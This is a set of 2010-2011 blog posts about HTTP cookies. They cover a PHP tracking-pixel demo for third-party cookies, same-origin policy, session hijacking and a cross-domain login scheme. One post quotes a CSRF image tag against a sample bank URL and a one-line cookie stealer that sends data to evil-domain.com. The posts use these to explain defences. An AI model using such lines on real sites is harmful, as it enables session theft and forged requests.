Showing posts with label cookie. Show all posts
Showing posts with label cookie. Show all posts

Thursday, September 15, 2011

demo code to test third party cookie

Hi Folks,

Here i am sharing code snippets that i use to test and understand cookie. Specially third party cookie.

What i did ?
Actually i create two sub domains www.local-dom1.com and www.local-dom2.com.
then i tried set cookie across domains.

How i did it ?
I wrote php code which set cookie and then convert out header as image with content. and then use IMG html tag with src that PHP script.

PHP code:


<?php

/* The next four values may be changed. */
$CookieName = "mycookie";    // Cookie's name
$CookieValue = "hello Ravi"; // Cookie's value
$CookieDirectory = "/";        // Cookie directory ("/" for all directories)
$DaysCookieShallLast = 31;     // Days before expiration (decimal number okay.)
/*********************************************************************/
$CookieDomain = 'www.local-dom1.com';
$lasting = ($DaysCookieShallLast<=0) ? "" : time()+($DaysCookieShallLast*24*60*60);
setcookie($CookieName,$CookieValue,$lasting,$CookieDirectory,$CookieDomain);
$image = "R0lGODlhBQAFAJH/AP///wAAAMDAwAAAACH5BAEAAAIALAAAAAAFAAUAAAIElI+pWAA7n";
header('Content-type: image/gif');
echo base64_decode($image);
exit;
?>

HTML Code at local-demo2.com:


<img
   src="http://www.local-dom1.com/public/setcookie.php"
   width="1"
   height="1"
   border="0"
   alt="cookie">
<script>

function getCookie(c_name)
{
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
  x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  x=x.replace(/^s+|s+$/g,"");
  if (x==c_name)
    {
    return unescape(y);
    }
  }
}
alert(getCookie('mycookie'));
</script>
<?php echo $_COOKIE["mycookie"]; ?>

Hope code will be helpful to understand what i said in my previous post.

Happy coding !!!

Monday, September 12, 2011

cross domain cookie,third party cookie and cross site ajax facts and myths

There are few questions in my mind which need appropriate & correct answers...
  1. it's possible to set a cookies to another domain with javascript
  2. Ajax Cross Domain Calls or making cross-sub-domain ajax (XHR) requests
  3. How Open social works
In below lines i am discussing each one by one but i request that please feel free post your comments if you feel any correction here or have some queries or comments.


we know about basic of cookie http://ravirajsblog.blogspot.com/2010/11/abc-of-http-cookie-detailed-look.html and some typical PHP session issue http://ravirajsblog.blogspot.com/2010/06/php-session-issue.html


Actually there are some security concerns in cross domain communications even server side languages also need some settings when communicate cross server
(http://php.net/manual/en/filesystem.configuration.php)
main concern is Cookie stealing and XSS(http://ha.ckers.org/xss.html) & Cross-site request forgery (CSRF). CSFR generally now avoided by filtering user input otherwise such type things occurs.


<img src="http://bank.example/withdraw?account=raviraj&amount=1000000000&for=bob"> 


Anyway come back to Cookie stealing.
Cookies are sent in plain text over the Internet, making them vulnerable to packet sniffing whereby someone intercepts traffic between a computer and the Internet. Once the value of a user’s login cookie is taken, it can be used to simulate the same session elsewhere by manually setting the cookie. The server can’t tell the difference between the original cookie that was set and the duplicated one that was stolen through packet sniffing, so it acts as if the user had logged in. This type of attack is called session hijacking.


A script from loaded another domain will get that page’s cookies by reading document.cookie.


As an example of how dangerous this is, suppose I load a script from evil-domain.com that contains some actually useful code. However, the folks at evil-domain.com then switch that code to the following:


(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;


Now this code is loaded on my page and silently sends my cookies back to evil-domain.com. This happens to everyone who visits my site. Once they have my cookies, it’s much easier to perpetrate other attacks including session hijacking.


There are a few ways to prevent session hijacking using cookies.


The first, and most common technique among the security-conscious, is to only send cookies over SSL. Since SSL encrypts the request on the browser before transmitting across the Internet, packet sniffing alone can’t be used to identify the cookie value. Banks and stores use this technique frequently since user sessions are typically short in duration.


Another technique is to generate a session key in some random fashion and/or a way that is based on information about the user (username, IP address, time of login, etc.). This makes it more difficult to reuse a session key, though doesn’t make it impossible.


Yet another technique is to re-validate the user before performing an activity deemed to be of a higher security level, such as transferring money or completing a purchase. For example, many sites require you to log in a second time before changing a password etc.


So finally all browsers decide to follow "same origin policy" concept.


Same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other's methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.This mechanism bears a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information or take state-changing actions.A strict separation between content provided by unrelated sites must be maintained on client side to prevent the loss of data confidentiality or integrity.
But the behavior of same-origin checks and related mechanisms is not well-defined in a number of corner cases, such as for protocols that do not have a clearly defined host name or port associated with their URLs.


Well, the confusion comes when you start talking about first party and third party cookies and how they are treated differently by web browsers.


A first party cookie is a cookie that is given to the website visitor by the same domain (www.domain.com) that the web page resides on. Whereas, a third party cookie is one that is issued to the website visitor by a web server that is not on the same domain as the website.


Web pages allow inclusion of resources from anyplace on the web. For example, many site uses the YUI CSS foundation for its layout and therefore includes these files from the Yahoo! CDN at yui.yahooapis.com via a <link> tag. Due to cookie restrictions, the request to retrieve this CSS resource will not include the cookies for ravirajsblog.blogspot.com. However, yui.yahooapis.com could potentially return its own cookies with the response (it doesn’t, it’s a cookie-less server). The page at ravirajsblog.blogspot.com cannot access cookies that were sent by yui.yahooapis.com because the domain is different and vice-verse, but all the cookies still exist. In this case, yui.yahooapis.com would be setting a third-party cookie, which is a cookie tied to a domain separate from the containing page.


There are several ways to include resources from other domains in HTML:

  1. Using a <link> tag to include a style sheet.
  2. Using a <script> tag to include a JavaScript file.
  3. Using an <object> or <embed> tag to include media files.
  4. Using an <iframe> tag to include another HTML file.

In each case, an external file is referenced and can therefore return its own cookies. The interesting part is that with the request, these third-party servers receive an HTTP Referer heading (spelling is incorrect in the spec) indicating the page that is requesting the resource. The server could potentially use that information to issue a specific cookie identifying the referring page. If that same resource is then loaded from another page, the cookie would then be sent along with the request and the server can determine that someone who visited Site A also visited Site B. This is a common practice in online advertising. Such cookies are often called tracking cookies since their job is to track user movement from site to site. This isn’t actually a security threat but is an important concept to understand in the larger security discussion.
Generally third party cookies are issued for banner advertiser who places a number of banners on your site and wants to know how many times it has been requested, or it could be a third party hosted analytics vendor that issues a page tag for each of your pages that forces a cookie on your site.
In the last situation, where an analytics vendor issues a cookie through a page tag the cookie is seen as a third party cookie because it is being generated by the analytics server which is having the tracking 1×1 invisible gif image requested from it by the page tag. It is however possible to have an analytics cookie issued by the third party vendor but still look like a first party cookie.
There are 2 ways of achieving this:-
Create a DNS alias for third party analytics server so that it looks like it is actually part of your domain and so anything issued by this server because 1st party (including cookies)
Have the Javascript page tag create a cookie at run-time and then pass the cookie value back to the analytics server so the cookie is created within the page and so becomes a 1st party cookie.
The obvious advantage of the DNS alias option is that you can have a smaller page tag which is quicker to load, however the cookie making page tag has an advantage over the DNS alias because no structural changes need to be made to the site’s infrastructure and the implementation of the tag should be more straight forward. checkout how GA works in cross domain specially for e-commerce.
http://cutroni.com/blog/2006/06/25/how-google-analytics-tracks-third-party-domains/


Back to our questions. Answer of first one is:
Nope, that will not work for security reasons.You cannot do that with cookies alone.They are set explicitly per-domain, and there isn't a legitimate (read: "non-exploit") way to set them for another domain.However,if you control both servers, it may be possible to use some workarounds/hacks to achieve this, but pretty it isn't, and it may break unexpectedly.


Let's see how oauth works. using same technique we can achieve our goal.[ see the Anonymous guy's comments, how nicely he/she decribed flow.]


Approach designates one domain as the 'central' domain and any others as 'satellite' domains.
When someone clicks a 'sign in' link (or presents a persistent login cookie), the sign in form ultimately sends its data to a URL that is on the central domain, along with a hidden form element saying which domain it came from (just for convenience, so the user is redirected back afterwards).
This page at the central domain then proceeds to set a session cookie (if the login went well) and redirect back to whatever domain the user logged in from, with a specially generated token in the URL which is unique for that session.
The page at the satellite URL then checks that token to see if it does correspond to a token that was generated for a session, and if so, it redirects to itself without the token, and sets a local cookie. Now that satellite domain has a session cookie as well. This redirect clears the token from the URL, so that it is unlikely that the user or any crawler will record the URL containing that token (although if they did, it shouldn't matter, the token can be a single-use token).
Now, the user has a session cookie at both the central domain and the satellite domain. But what if they visit another satellite? Well, normally, they would appear to the satellite as unauthenticated.
However, throughout application, whenever a user is in a valid session, all links to pages on the other satellite domains have a ?s or &s appended to them. I reserve this 's' query string to mean "check with the central server because we reckon this user has a session". That is, no token or session id is shown on any HTML page, only the letter 's' which cannot identify someone.
A URL receiving such an 's' query tag will, if there is no valid session yet, do a redirect to the central domain saying "can you tell me who this is?" by putting something in the query string.
When the user arrives at the central server, if they are authenticated there the central server will simply receive their session cookie. It will then send the user back to the satellite with another single use token, which the satellite will treat just as a satellite would after logging in (see above). Ie, the satellite will now set up a session cookie on that domain, and redirect to itself to remove the token from the query string.
This solution works without script, or iframe support. It does require '?s' to be added to any cross-domain URLs where the user may not yet have a cookie at that URL. I think this is possible one approach how we logged in in gmail when we already browsing orkut as registered user.


So we disappointed in first answer!! don't worry let's look for second one .. i am trying my best to say yes however ;-)


Answer for second one is NO... This restriction comes because of the same origin policy and even sub-domain ajax calls are not allowed.


By enabling mod_proxy module of apache2, we can configure apache in reverse proxy mode. In reverse proxy mode, apache2 appears be like an ordinary web server to the browser. However depending upon the proxy rules defined, apache2 can make cross-domain request and serve data back to the browser.


Another method of achieving sub-domain ajax requests is by using iframes. However, javascript does not allow communication between two frames if they don’t have same document.domain. The simplest of the hacks to make this communication possible is to set document.domain of the iframe same as that of the parent frame.


The second method deals with cases when you want to fetch data from a sub-domain. You can’t make an ajax call directly from the parent page, hence you do it through iframes.Consider case of facebook chat. If you see in firebug all chat related ajax are sent to channel.facebook.com which is achieved by iframe approch.


Few hacky open sourses also avalble like http://remysharp.com/2007/10/08/what-is-jsonp/


Now come to last question, how open social works ?
This is big topic which need brief detail. so many components are which we need to understand before looking open social like  Shindig,Gadget Server,RPC,REST,container server,container application etc
Here is good link to know more about open soical
That's it for now. Cheers!!!

Tuesday, November 23, 2010

abc of HTTP cookie .. detailed look

we know well about cookie, how we create and how it works but still i seen some gap to understand it well .. might be i am not so much confidence about cookie :P

A web server specifies a cookie to be stored by sending an HTTP header called Set-Cookie. The format of the Set-Cookie header is a string as follows (parts in square brackets are optional):
Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]

The first part of the header, the value, is typically a string in the format name=value. Indeed, the original specification indicates that this is the format to use but browsers do no such validation on cookie values. You can, in fact, specify a string without an equals sign and it will be stored just the same. Still, the most common usage is to specify a cookie value as name=value (and most interfaces support this exclusively).

When a cookie is present, and the optional rules allow, the cookie value is sent to the server with each subsequent request. The cookie value is stored in an HTTP header called Cookie and contains just the cookie value without any of the other options. Such as:
Cookie: value

If there are multiple cookies for the given request, then they are separated by a semicolon and space, such as:
Cookie: value1; value2; name1=value1
The next option is domain, which indicates the domain(s) for which the cookie should be sent. Another way to control when the Cookie header will be sent is to specify the path option. Similar to the domain option, path indicates a URL path that must exist in the requested resource before sending the Cookie header. When a cookie is created with an expiration date, that expiration date relates to the cookie identified by name-domain-path-secure. In order to change the expiration date of a cookie, you must specify the exact same tuple.

Keep in mind that the expiration date is checked against the system time on the computer that is running the browser. There is no way to verify that the system time is in sync with the server time and so errors may occur when there is a discrepancy between the system time and the server time.


There are a few reasons why a cookie might be automatically removed by the browser:
Session cookies are removed when the session is over (browser is closed).
Persistent cookies are removed when the expiration date and time have been reached.
If the browser’s cookie limit is reached, then cookies will be removed to make room for the most recently created cookie.

Cookie restrictions:-
There are a number of restrictions placed on cookies in order to prevent abuse and protect both the browser and the server from detrimental effects. There are two types of restrictions: number of cookies and total cookie size. The original specification placed a limit of 20 cookies per domain, which was followed by early browsers and continued up through Internet Explorer 7. During one of Microsoft’s updates, they increased the cookie limit in IE 7 to 50 cookies. IE 8 has a maximum of 50 cookies per domain as well. Firefox also has a limit of 50 cookies while Opera has a limit of 30 cookies. Safari and Chrome have no limit on the number of cookies per domain.

The maximum size for all cookies sent to the server has remained the same since the original cookie specification: 4 KB. Anything over that limit is truncated and won’t be sent to the server.